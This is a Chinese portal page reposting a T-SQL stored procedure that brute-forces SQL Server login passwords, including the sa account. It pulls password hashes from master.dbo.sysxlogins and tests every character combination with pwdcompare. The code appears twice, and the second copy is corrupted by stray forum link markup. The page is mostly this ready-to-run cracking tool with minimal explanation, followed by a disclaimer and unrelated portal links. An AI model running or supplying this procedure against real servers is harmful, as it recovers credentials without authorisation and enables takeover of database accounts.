空间  购物  百科  知道  词典  美女  繁体  小说

上一篇《SQL Server数据库sa密码相关问题的解决方法》

字体: 小|中|大

　　一个SQL Server Sa密码破解的存储过程:
　　if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
　　drop procedure [dbo].[p_GetPassword]
　　GO
　　/*--穷举法破解 SQL Server 用户密码
　　可以破解中文,特殊字符,字符+尾随空格的密码
　　为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII
　　理论上可以破解任意位数的密码
　　条件是你的电脑配置足够,时间足够
　　/*--调用示例
　　exec p_GetPassword
　　--*/
　　create proc p_GetPassword
　　@username sysname=null, --用户名,如果不指定,则列出所有用户
　　@pwdlen int=2 --要破解的密码的位数,默认是2位及以下的
　　as
　　set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
　　select top 255 id=identity(int,0,1) into #t from syscolumns
　　alter table #t add constraint PK_#t primary key(id)
　　select name,password
　　,type=case when xstatus&2048=2048 then 1 else 0 end
　　,jm=case when password is null then 1 else 0 end
　　,pwdstr=cast('' as sysname)
　　,pwd=cast('' as varchar(8000))
　　into #pwd
　　from master.dbo.sysxlogins a
　　where srvid is null
　　and name=isnull(@username,name)
　　declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
　　declare @l int
　　select @l=0
　　,@s1='char(aa.id)'
　　,@s2='cast(aa.id as varchar)'
　　,@s3=',#t aa'
　　exec('
　　update pwd set jm=1,pwdstr='+@s1+'
　　,pwd='+@s2+'
　　from #pwd pwd'+@s3+'
　　where pwd.jm=0
　　and pwdcompare('+@s1+',pwd.password,pwd.type)=1
　　')
　　while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
　　begin
　　select @l=@l+1
　　,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)'
　　,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)'
　　,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
　　exec('
　　update pwd set jm=1,pwdstr='+@s1+'
　　,pwd='+@s2+'
　　from #pwd pwd'+@s3+'
　　where pwd.jm=0
　　and pwdcompare('+@s1+',pwd.password,pwd.type)=1
　　')
　　end
　　select 用户名=name,密码=pwdstr,密码ASCII=pwd
　　from #pwd
　　go(王朝网络 wangchao.net.cn)

 

标签: Sa  Server  SQL  一个  存储  密码  破解  过程  

一个SQL Server Sa密码破解的存储过程: if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1) drop procedure [dbo].[p_GetPassword] GO /*--穷举法破解 SQL Server 用户密码 可以破解中文,特殊字符,字符+尾随空格的密码 为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII 理论上可以破解任意位数的密码 条件是你的电脑配置足够,时间足够 /*--调用示例 exec p_GetPassword --*/ create proc p_GetPassword @username sysname=null, --用户名,如果不指定,则列出所有用户 @pwdlen int=2 --要破解的密码的位数,默认是2位及以下的 as set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end select top 255 id=identity(int,0,1) into #t from syscolumns alter table #t add constraint PK_#t primary key(id) select name,password ,type=case when xstatus&2048=2048 then 1 else 0 end ,jm=case when password is null then 1 else 0 end ,pwdstr=cast('' as sysname) ,pwd=cast('' as varchar(8000)) into #pwd from master.dbo.sysxlogins a where srvid is null and name=isnull(@username,name) declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000) declare @l int select @l=0 ,@s1='char(aa.id)' ,@s2='cast(aa.id as varchar)' ,@s3=',#t aa' exec(' update pwd set jm=1,pwdstr='+@s1+' ,pwd='+@s2+' from #pwd [url=mailto:pwd]pwd'+@s3+'[/url] where pwd.jm=0 and pwdcompare([url=mailto:]'+@s1+',pwd.password,pwd.type)=1[/url] ') while exists(select 1 from #pwd where jm=0 and @l<@pwdlen) begin select @l=@l+1 ,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'.id)' ,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'.id as varchar)' ,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97) exec(' update pwd set jm=1,pwdstr='+@s1+' ,pwd='+@s2+' from #pwd [url=mailto:pwd]pwd'+@s3+'[/url] where pwd.jm=0 and pwdcompare([url=mailto:]'+@s1+',pwd.password,pwd.type)=1[/url] ') end select 用户名=name,密码=pwdstr,密码ASCII=pwd from #pwd go

 

声明：王朝网络登载此文出于传递更多信息之目的，并不意味着赞同其观点或证实其描述，文章内容仅供参考。

 

网友评论 查看所有评论

 

 

 

网络 商业价值杂志：HTML5将带来什么
母婴 国内外给宝宝补钙有啥区别
健康 北京海鲜去哪里吃
旅游 欧洲自助游如何办签证
数码 印度暂缓封锁黑莓 紧盯网密服务密钥－安全资讯
游戏 短暂的歇息 多玩编辑部外出旅游三天
学院 摩托罗拉XT701手机使用的感觉
家饰 富安娜指控罗莱流氓链接 后者应诉坚称无辜
家电 中国小家电交易会9天创造逾10亿签单额
女性 “奋斗男”坚守婚姻保卫第一线
汽车 国内SUV销量三甲过人之处解析
珠宝 中国珠宝内销市场一枝独秀
军事 简氏：中国正为泰国研制新型火箭炮及导弹
美女 蓝色湖边的靓丽少女
探索 月球地名首次有了标准中文译名